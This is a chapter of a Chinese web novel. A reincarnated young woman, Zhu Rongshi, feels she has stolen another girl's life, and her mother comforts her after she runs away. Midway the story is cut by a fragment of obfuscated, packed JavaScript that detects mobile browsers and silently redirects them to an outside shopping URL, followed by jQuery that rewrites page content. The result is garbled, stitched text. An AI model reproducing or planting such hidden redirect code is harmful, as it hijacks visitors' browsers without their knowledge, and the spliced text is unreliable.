可为什么现在突然觉得自己占据了祝温如的东西呢?是因为以前没有人告诉过她关于温如的事吗?所以现在接触到这些礼物,是觉得那些礼物该属于温如,而不是容时? 这么想着,容瑾瑜的心也跟着一点一点逐渐沉了下去,她默不作声去收拾散落一地的礼物。 她不明白为什么祝容时会有这种想法,也不明白,祝温如这个名字,对她而言到底意味着什么,当初容若珩他们在找到她时说出的那个名字,对她的影响原来那么大吗?大到让她觉得,自己是无耻的强盗,抢走了属于温如的东西…… 容瑾瑜无奈的摇了摇头,将礼物收拾好放在一旁的柜子里,便坐在沙发上闭目养神。 祝容时洗漱完出来,看见的便是这样一幕。思及自己今晚突然跑出去的事,一阵愧疚涌上心头,她放轻了脚步小心翼翼走到容瑾瑜身前,蹲下身看着她。 祝容时是一个外来者,她放弃生命的时候就该死了,因为是她自己选择以死亡来证明自己此生自由的,可她没有想到,会在死后会来到一具新生儿的身体里,仿佛传说中的轮回转世一般…… 她自由自在的生活了二十年,舍弃原来的“温如”二字,转而给自己取名“容时”,时不可兮再得,聊逍遥兮容与。 她把自己所有的期待都寄托在这个名字里,她想放下昔日过往、享受当下、顺其自然的好好生活。 可始终没能做到,她放不下过往,虽然有在好好生活,可她很多事也做不到顺其自然……两个月前,她对那个梦不以为意,因为她是祝容时,她做了二十年的自己。 可那一天,容若珩找到她了,她并不将这些突如其来的亲人放在眼里,因为在她梦里,他们对祝温如并不怎么好,所以她也不想接触。 可后来一点点的接触加深,每个周末的相处虽然少,但却依然让她选择一点点开始了解这些人,她最初是抗拒的,可人怎么可能抗拒得了爱和温暖?渴望爱是人的本能啊。 一个人无论再如何坚强,他都是需要一丝丝的温暖的。 她也一样,越否认越渴望,越抗拒越想靠近…… 当她发自内心的不再抗拒,选择坦然接受来自他们的爱和温暖的时候,她便也已经深刻明白,自己此生生来有罪。 当明白自己罪孽深重时,她选择逃离,亦是选择再一次放弃自己…… 跑出祝家就能摆脱自己占据属于别人一切的罪过吗?不可能的,如果要彻底摆脱这一切,她只有一个办法。 可顾星河突然出现拉住了她。顾星河是谁?他为什么会出现在那里?为什么自己会莫名其妙和他说那些话?明明才见过两次面不是吗?她对人都很有戒心的,为什么那一刻,她会控制不了自己?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553729|204250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她看着容瑾瑜,眼中困惑与痛楚更多几分。 低垂眼眸时,祝容时抬手,小心翼翼的靠近,想将容瑾瑜唤醒。 但在她抬手的瞬间,容瑾瑜睁开了眼睛。四目相对片刻,她坐直了身子,倏然伸手将蹲在面前的女孩紧紧拥入怀里。 祝容时依靠在她的胸口,听着她的心跳声,眼泪不知何时掉了下来,沾湿了容瑾瑜的衣襟。 容瑾瑜紧紧抱着她,口中下意识呢喃着:“我的容时啊……” 怎么就能那么决绝的否认了自己是祝温如啊?他们找寻多年,找的是自己丢失已久的孩子,不是一个名字,为什么在她心里,却仿佛祝温如是另一个人一般? 她无法理解,她只有心疼…… 容瑾瑜冷静下来后,将她拉到自己身边坐着:“容时,你说你占据了别人的东西,那你可以告诉妈妈,那个人原本的人生是怎样的吗?她的人生是不是和你截然不同?” 祝容时轻轻道:“很不同,她没有要求院长妈妈给她改名字,她在你们第一次来到福利院时被发现带回了家,她因为失落在外七年,很害怕被抛弃,所以有些小心翼翼,你们也不那么喜欢她……后来她喜欢谢君尧,和他结婚了,可是谢君尧不喜欢她,一次又一次的伤害她,在她受伤害的时候,你们都不在。” “可我看到的你们,明明那么爱她,那么期待她的到来……” 容瑾瑜长叹了口气,低声细语道:“是啊,我们那么期待她的到来,也那么爱你……宝贝,妈妈知道你怎么想的了。” 她认为自己占据了祝温如的一切,改变了她的人生轨迹,她想把一切还回去,因为她觉得一个人的人生再如何痛苦如何不堪,那也是属于她的一生,没有人有资格占据属于她的一切,更改她的人生,对她的经历指手画脚。 而祝容时曾经如此做过,她曾经评判过祝温如的一生,以她的经历来警醒自己,对她曾拥有的一切也避之不及,可她终于选择靠近的时候,她脑海中属于祝温如的曾经就出来了,成了提醒她强占了别人的东西的事实……她不敢面对,选择逃避,如果今天没有那位年轻的先生拉住她,那祝容时明天会在哪里呢? 对自己要求高的人,发现自己身负罪孽的时候,她会怎样赎罪以寻求一个解脱?这几乎不用深想就已经知道答案。 祝温如……祝容时不要这个名字,却一直坚定不移的深信,这个名字是一个独立的人,而非是她臆想出来的一个虚拟人物,她为什么如此深信她臆想中的祝温如真的存在? 这世上怎么会有如祝容时这样特别的人?而她这样执着的坚信,竟让她也生出一丝错觉,或许那个名为祝温如的女孩,是真的存在…… “那,你和那位先生独处的时候,你们说了什么?”容瑾瑜轻声问询。 祝容时道:“他说,会为我解惑。” “为你解惑?”容瑾瑜眉头微蹙。 祝容时离开容瑾瑜的怀抱,抬头看进她温柔的眼中:“我想知道,祝温如在哪里……” 容瑾瑜抬起双手,顺着她的眉眼抚摸至耳后,轻轻捧着她的脸,仿佛捧着一颗失而复得的明珠。 “我希望寸寸,明日过后能心如明镜,不再迷茫,淡然若水,此生无忧。” 祝容时怔怔的看着她,眼中泪水滑落时,平静的眼眸亦泛起波澜。